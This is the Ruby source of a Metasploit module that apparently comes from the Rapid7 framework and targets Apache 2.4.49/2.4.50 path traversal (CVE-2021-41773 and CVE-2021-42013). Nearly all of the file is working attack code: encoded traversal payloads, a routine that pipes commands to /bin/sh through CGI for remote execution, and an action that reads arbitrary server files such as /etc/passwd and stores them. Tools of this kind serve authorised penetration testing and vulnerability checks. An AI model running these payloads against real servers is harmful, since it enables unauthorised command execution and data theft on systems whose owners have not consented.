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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',
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        'Description' => %q{
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          This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).
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          If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,
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          it can be used to execute arbitrary commands (Remote Command Execution).
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          This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).
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        },
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        'References' => [
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          ['CVE', '2021-41773'],
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          ['CVE', '2021-42013'],
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          ['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],
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          ['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],
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          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],
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          ['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],
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          ['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']
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        ],
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        'Author' => [
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          'Ash Daulton', # Vulnerability discovery
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          'Dhiraj Mishra', # Metasploit auxiliary module
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          'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)
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        ],
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        'DisclosureDate' => '2021-05-10',
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => {
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          'RPORT' => 443,
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          'SSL' => true
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        },
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
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        },
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        'Actions' => [
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          [
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            'CHECK_TRAVERSAL',
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            {
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              'Description' => 'Check for vulnerability.'
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            }
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          ],
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          [
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            'CHECK_RCE',
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            {
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              'Description' => 'Check for RCE (if mod_cgi is enabled).'
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            }
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          ],
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          [
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            'READ_FILE',
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            {
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              'Description' => 'Read file on the remote server.'
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            }
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          ]
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        ],
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        'DefaultAction' => 'CHECK_TRAVERSAL'
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      )
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    )
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    register_options([
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      OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),
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      OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),
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      OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),
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      OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])
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    ])
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  end
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  def exec_traversal(cmd)
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    send_request_raw({
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      'method' => Rex::Text.rand_text_alpha(3..4),
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      'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),
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      'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"
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    })
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  end
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  def message(msg)
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    "#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"
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  end
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  def pick_payload
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    case datastore['CVE']
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    when 'CVE-2021-41773'
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      payload = '.%2e/'
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    when 'CVE-2021-42013'
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      payload = '.%%32%65/'
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    else
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      payload = ''
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    end
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    payload
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  end
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  def read_traversal
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    send_request_raw({
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      'method' => 'GET',
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      'uri' => normalize_uri(@target_uri, @traversal.to_s)
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    })
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  end
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  def run_host(ip)
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    @proto = (ssl ? 'https' : 'http')
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    case action.name
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    when 'CHECK_TRAVERSAL'
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      @target_uri = datastore['TARGETURI']
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      @traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'
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      response = read_traversal
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      unless response
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        print_error(message('No response, target seems down.'))
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        return Exploit::CheckCode::Unknown
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      end
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      if response.code == 200 && response.body.include?('root:x:0:0:')
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        print_good(message("The target is vulnerable to #{datastore['CVE']}."))
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        vprint_status("Obtained HTTP response code #{response.code}.")
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        report_vuln(
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          host: target_host,
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          name: name,
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          refs: references
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        )
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        return Exploit::CheckCode::Vulnerable
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      end
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      print_error(message("The target is not vulnerable to #{datastore['CVE']}."))
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      return Exploit::CheckCode::Safe
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    when 'CHECK_RCE'
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      @traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'
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      rand_str = Rex::Text.rand_text_alpha(4..8)
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      response = exec_traversal("echo #{rand_str}")
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      unless response
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        print_error(message('No response, target seems down.'))
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        return Exploit::CheckCode::Unknown
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      end
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      if response.code == 200 && response.body.include?(rand_str)
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        print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
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        report_vuln(
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          host: target_host,
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          name: name,
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          refs: references
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        )
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        return Exploit::CheckCode::Vulnerable
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      end
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      print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))
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      return Exploit::CheckCode::Safe
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    when 'READ_FILE'
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      fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?
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      @target_uri = datastore['TARGETURI']
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      @traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']
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      response = read_traversal
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      unless response
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        print_error(message('No response, target seems down.'))
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        return Exploit::CheckCode::Unknown
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      end
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      vprint_status("Obtained HTTP response code #{response.code}.")
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      if response.code == 500
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        print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))
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        report_vuln(
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          host: target_host,
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          name: name,
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          refs: references
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        )
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      end
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      if response.code == 500 || response.body.empty?
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        print_error('Nothing was downloaded')
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        return Exploit::CheckCode::Vulnerable if response.code == 500
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      end
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      if response.code == 200
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        vprint_good("#{peer} \n#{response.body}")
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        path = store_loot(
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          'apache.traversal',
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          'application/octet-stream',
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          ip,
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          response.body,
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          datastore['FILEPATH']
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        )
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        print_good("File saved in: #{path}")
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        report_vuln(
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          host: target_host,
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          name: name,
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          refs: references
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        )
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        return Exploit::CheckCode::Vulnerable
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      end
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      return Exploit::CheckCode::Safe
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    end
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  end
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end
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